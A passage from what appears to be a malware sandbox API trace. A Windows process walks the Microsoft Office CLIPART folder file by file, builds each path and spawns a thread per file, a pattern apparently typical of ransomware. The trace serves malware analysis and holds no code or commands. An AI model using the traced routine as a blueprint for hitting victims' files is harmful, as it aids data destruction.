ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9efd600, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1 [0120.425] wcscmp (_String1="BS00200_.WMF", _String2=".") returned 1 [0120.425] wcscmp (_String1="BS00200_.WMF", _String2="..") returned 1 [0120.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a57c0 [0120.425] wcscpy (in: _Dest=0x202a57c0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.426] wcscat (in: _Dest=0x202a57c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.426] wcscat (in: _Dest=0x202a57c0, _Source="BS00200_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" [0120.426] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a57c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128c [0120.427] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54fadc00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54fadc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1 [0120.427] wcscmp (_String1="BS00224_.WMF", _String2=".") returned 1 [0120.427] wcscmp (_String1="BS00224_.WMF", _String2="..") returned 1 [0120.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a5850 [0120.427] wcscpy (in: _Dest=0x202a5850, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.427] wcscat (in: _Dest=0x202a5850, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.427] wcscat (in: _Dest=0x202a5850, _Source="BS00224_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" [0120.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1288 [0120.428] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62c55700, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62c55700, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1 [0120.428] wcscmp (_String1="BS00438_.WMF", _String2=".") returned 1 [0120.428] wcscmp (_String1="BS00438_.WMF", _String2="..") returned 1 [0120.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a4260 [0120.428] wcscpy (in: _Dest=0x202a4260, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.428] wcscat (in: _Dest=0x202a4260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.428] wcscat (in: _Dest=0x202a4260, _Source="BS00438_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" [0120.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1284 [0120.433] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276b5e00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x276b5e00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1 [0120.433] wcscmp (_String1="BS00439_.WMF", _String2=".") returned 1 [0120.433] wcscmp (_String1="BS00439_.WMF", _String2="..") returned 1 [0120.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a46e0 [0120.433] wcscpy (in: _Dest=0x202a46e0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.433] wcscat (in: _Dest=0x202a46e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.433] wcscat (in: _Dest=0x202a46e0, _Source="BS00439_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" [0120.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a46e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe58 [0120.450] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x263a3100, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x263a3100, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1 [0120.450] wcscmp (_String1="BS00440_.WMF", _String2=".") returned 1 [0120.450] wcscmp (_String1="BS00440_.WMF", _String2="..") returned 1 [0120.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85c7b0 [0120.450] wcscpy (in: _Dest=0x1b85c7b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.451] wcscat (in: _Dest=0x1b85c7b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.451] wcscat (in: _Dest=0x1b85c7b0, _Source="BS00440_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" [0120.451] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c7b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xed0 [0120.451] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25090400, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25090400, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1 [0120.451] wcscmp (_String1="BS00441_.WMF", _String2=".") returned 1 [0120.452] wcscmp (_String1="BS00441_.WMF", _String2="..") returned 1 [0120.452] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85b9a0 [0120.452] wcscpy (in: _Dest=0x1b85b9a0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.452] wcscat (in: _Dest=0x1b85b9a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.452] wcscat (in: _Dest=0x1b85b9a0, _Source="BS00441_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" [0120.452] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b9a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1268 [0120.453] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d7d700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23d7d700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1 [0120.453] wcscmp (_String1="BS00442_.WMF", _String2=".") returned 1 [0120.453] wcscmp (_String1="BS00442_.WMF", _String2="..") returned 1 [0120.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85c8d0 [0120.453] wcscpy (in: _Dest=0x1b85c8d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.453] wcscat (in: _Dest=0x1b85c8d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.453] wcscat (in: _Dest=0x1b85c8d0, _Source="BS00442_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" [0120.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c8d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1264 [0120.454] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7ffa00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb7ffa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1 [0120.454] wcscmp (_String1="BS00443_.WMF", _String2=".") returned 1 [0120.454] wcscmp (_String1="BS00443_.WMF", _String2="..") returned 1 [0120.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85b760 [0120.454] wcscpy (in: _Dest=0x1b85b760, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.454] wcscat (in: _Dest=0x1b85b760, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.454] wcscat (in: _Dest=0x1b85b760, _Source="BS00443_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" [0120.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd70 [0120.455] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a6aa00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a6aa00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1 [0120.455] wcscmp (_String1="BS00444_.WMF", _String2=".") returned 1 [0120.455] wcscmp (_String1="BS00444_.WMF", _String2="..") returned 1 [0120.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85ca80 [0120.456] wcscpy (in: _Dest=0x1b85ca80, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.456] wcscat (in: _Dest=0x1b85ca80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.456] wcscat (in: _Dest=0x1b85ca80, _Source="BS00444_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" [0120.456] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ca80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd6c [0120.457] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21757d00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21757d00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00445_.WMF", cAlternateFileName="")) returned 1 [0120.457] wcscmp (_String1="BS00445_.WMF", _String2=".") returned 1 [0120.457] wcscmp (_String1="BS00445_.WMF", _String2="..") returned 1 [0120.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85b6d0 [0120.457] wcscpy (in: _Dest=0x1b85b6d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.457] wcscat (in: _Dest=0x1b85b6d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.457] wcscat (in: _Dest=0x1b85b6d0, _Source="BS00445_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" [0120.457] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd68 [0120.458] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1 [0120.458] wcscmp (_String1="BS00453_.WMF", _String2=".") returned 1 [0120.458] wcscmp (_String1="BS00453_.WMF", _String2="..") returned 1 [0120.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85cba0 [0120.458] wcscpy (in: _Dest=0x1b85cba0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.458] wcscat (in: _Dest=0x1b85cba0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.458] wcscat (in: _Dest=0x1b85cba0, _Source="BS00453_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" [0120.458] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85cba0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1250 [0120.459] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ba86700, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ba86700, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1 [0120.459] wcscmp (_String1="BS01080_.WMF", _String2=".") returned 1 [0120.459] wcscmp (_String1="BS01080_.WMF", _String2="..") returned 1 [0120.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85cf90 [0120.459] wcscpy (in: _Dest=0x1b85cf90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.460] wcscat (in: _Dest=0x1b85cf90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.460] wcscat (in: _Dest=0x1b85cf90, _Source="BS01080_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" [0120.460] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85cf90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124c [0120.461] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d186600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d186600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1 [0120.461] wcscmp (_String1="BS01603_.WMF", _String2=".") returned 1 [0120.461] wcscmp (_String1="BS01603_.WMF", _String2="..") returned 1 [0120.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85d1d0 [0120.461] wcscpy (in: _Dest=0x1b85d1d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.461] wcscat (in: _Dest=0x1b85d1d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.461] wcscat (in: _Dest=0x1b85d1d0, _Source="BS01603_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" [0120.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1224 [0120.462] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc31ccd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc31ccd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1 [0120.462] wcscmp (_String1="BS01634_.WMF", _String2=".") returned 1 [0120.462] wcscmp (_String1="BS01634_.WMF", _String2="..") returned 1 [0120.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85bac0 [0120.462] wcscpy (in: _Dest=0x1b85bac0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.462] wcscat (in: _Dest=0x1b85bac0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.462] wcscat (in: _Dest=0x1b85bac0, _Source="BS01634_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" [0120.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85bac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1214 [0120.464] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63bebd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63bebd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1 [0120.464] wcscmp (_String1="BS01635_.WMF", _String2=".") returned 1 [0120.464] wcscmp (_String1="BS01635_.WMF", _String2="..") returned 1 [0120.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85d260 [0120.464] wcscpy (in: _Dest=0x1b85d260, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0120.464] wcscat (in: _Dest=0x1b85d260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0120.464] wcscat (in: _Dest=0x1b85d260, _Source="BS01635_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" [0120.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11fc [0120.465] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe440e600, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe440e600, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1 [0120.465] wcscmp (_String1="BS01636_.WMF", _String2=".") returned 1 [0120.465] wcscmp (_String1="BS01636_.WMF", _String2="..") returned 1 [0120.465] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85c9f0 [0120.466] wcscpy (in: _Dest=0x1b85c9f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft 